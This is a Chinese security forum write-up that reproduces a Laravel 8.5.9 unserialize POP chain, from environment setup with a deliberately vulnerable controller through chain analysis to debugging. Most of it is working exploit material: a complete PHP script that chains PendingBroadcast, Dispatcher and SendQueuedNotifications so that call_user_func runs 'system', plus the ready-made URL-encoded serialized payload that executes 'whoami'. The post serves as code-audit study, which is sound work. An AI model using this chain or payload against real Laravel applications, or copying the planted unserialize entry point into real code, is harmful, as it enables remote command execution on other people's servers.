用户
搜索
  • TA的每日心情
    郁闷
    昨天 05:15
  • 签到天数: 17 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    3

    主题

    4

    帖子

    298

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2020-8-4
    发表于 2021-5-21 00:56:52 02905

    1-环境搭建
    2-pop链分析
    3-构造exp
    4-动调跟着走一遍
    5-小结&建议

    感觉自己代码审计能力还是有些薄弱,继续锻炼吧
    复现狂魔开坑~

    1-环境搭建

    https://github.com/laravel/laravel/archive/refs/tags/v8.5.9.zip
    down下来源码

    composer install

    生成
    vendor文件夹
    以及composer.lock文件

    $ php artisan serve --port 8999

    config/app.php
    'debug' => (bool) env('APP_DEBUG', true),

    项目根目录.env.example改名名.env

    会让你生成一个key
    可以在web端点击生成
    也可以
    用命令行
    php artisan key:generate
    生成

    然后我们先故意设置一个反序列化的传入点

    routes/web.php
    use App\Http\Controllers\IndexController;
    Route::get('/', [IndexController::class, 'index']);
    app/Http/Controllers/IndexController.php
    <?php
    
    namespace App\Http\Controllers;
    
    use Illuminate\Http\Request;
    
    class IndexController extends Controller
    {
      public function index(Request $request)
      {
        $p = $request->input('payload');
        unserialize($p);
      }
    }
    

    2-pop链分析

    一共涉及三个类分别是

    vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
    vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
    vendor/laravel/framework/src/Illuminate/Broadcasting/BroadcastEvent.php

    先从PendingBroadcast类看起

        public function __destruct()
        {
            $this->events->dispatch($this->event);
        }

    有一处destruct方法
    destruct方法中的
    $this->events$this->event都是我们可控的
    我们现在的想法是$this->events赋值给一个类
    这个类里面有dispatch方法,$this->event就是要传入到这个类的这个方法里面的参数

    这里直接说答案
    $this->events赋值给 Dispatcher
    看一下 Dispatcher 类中的 dispatch 函数

        public function dispatch($command)
        {
            return $this->queueResolver && $this->commandShouldBeQueued($command)
                ? $this->dispatchToQueue($command)
                : $this->dispatchNow($command);
        }

    $this->queueResolver我们是可以控制的,先不管
    $this->commandShouldBeQueued这里调用了commandShouldBeQueued函数

        protected function commandShouldBeQueued($command)
        {
            return $command instanceof ShouldQueue;
        }

    作用是判断$command是不是ShouldQueue的一个实例
    这里搜一下

    随便找一个就行,注意构造exp的时候命名空间
    $command$this->event传过来的啊,那么$this->event看来得是一个类了,而且还是ShouldQueue的实例

    继续就进入
    $this->dispatchToQueue($command)
    看一下dispatchToQueue函数

        public function dispatchToQueue($command)
        {
            $connection = $command->connection ?? null;
    
            $queue = call_user_func($this->queueResolver, $connection);
    
            if (!$queue instanceof Queue) {
                throw new RuntimeException('Queue resolver did not return a Queue implementation.');
            }
    
            if (method_exists($command, 'queue')) {
                return $command->queue($queue, $command);
            }
    
            return $this->pushCommandToQueue($queue, $command);
        }

    出现了call_user_func
    $this->queueResolver也是我们可以控制的
    还有一个$connection参数
    $connection = $command->connection ?? null;
    记得我们刚才说过 $command是我们要传入的一个实例对象
    这里我选个SendQueuedNotifications这个类吧
    vendor/laravel/framework/src/Illuminate/Notifications/SendQueuedNotifications.php

    至此分析过程就完了

    3-构造exp

    <?php
    namespace Illuminate\Broadcasting{
        class PendingBroadcast{
            protected $events;
            protected $event;
            public function __construct($events,$event){
                $this->events = $events;
                $this->event = $event;
            }
            // public function __destruct()
         //    {
         //        $this->events->dispatch($this->event);
         //    }
        }
        class BroadcastEvent{
            protected $connection;
            public function __construct($connection){
                $this->connection = $connection;
            }
        }
    }
    
    namespace Illuminate\Notifications{
        class SendQueuedNotifications{
            protected $connection;
            public function __construct($connection){
                $this->connection = $connection;
            }
        }
    }
    
    namespace Illuminate\Bus{
        class Dispatcher{
            protected $queueResolver;
            public function __construct($queueResolver){
                $this->queueResolver = $queueResolver;
            }
        // public function dispatch($command){
        //     return $this->queueResolver && $this->commandShouldBeQueued($command)
        //         ? $this->dispatchToQueue($command)
        //         : $this->dispatchNow($command);
        // }
        // protected function commandShouldBeQueued($command)
        // {
        //     return $command instanceof ShouldQueue;
        // }
        // public function dispatchToQueue($command){
            // protected $queueResolver;
            // $connection = $command->connection ?? null;
            // $queue = call_user_func($this->queueResolver, $connection);
        //     if (!$queue instanceof Queue) {
        //         throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        //     }
        //     if (method_exists($command, 'queue')) {
        //         return $command->queue($queue, $command);
        //     }
        //     return $this->pushCommandToQueue($queue, $command);
        // }
        }
    }
    
    namespace{
        // $event = new Illuminate\Broadcasting\BroadcastEvent("whoami");
        $event = new Illuminate\Notifications\SendQueuedNotifications("whoami");
        $events = new Illuminate\Bus\Dispatcher("system");
        $a1 = new Illuminate\Broadcasting\PendingBroadcast($events,$event);
        echo urlencode(serialize($a1));
    }
    O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A48%3A%22Illuminate%5CNotifications%5CSendQueuedNotifications%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D
    


    成功命令执行了

    4-动调跟着走一遍

    下好断点 并且下准断点
    开冲

    f5直接跳到下一个断点
    f11单步执行
    f10单步跳过

    进入
    vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
    PendingBroadcast类的__destruct

    继续到
    vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
    Dispatcher类的dispatch方法

    最后执行命令


    确实执行了
    whoami

    5-小结&建议

    推荐一些tools吧

    • vscode动态调试环境搭建起来,多动调
    • vscode插件Bookmarks,可以方便查看代码 做标记,效果如下

      可以换成自己的图片
    • 网上的exp很多,希望可以自己动手写,从0开始构造,锻炼自己的能力,光看的话,感觉还差的远,光用别人的exp也是同样的道理
    一个小红客a3uRa
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册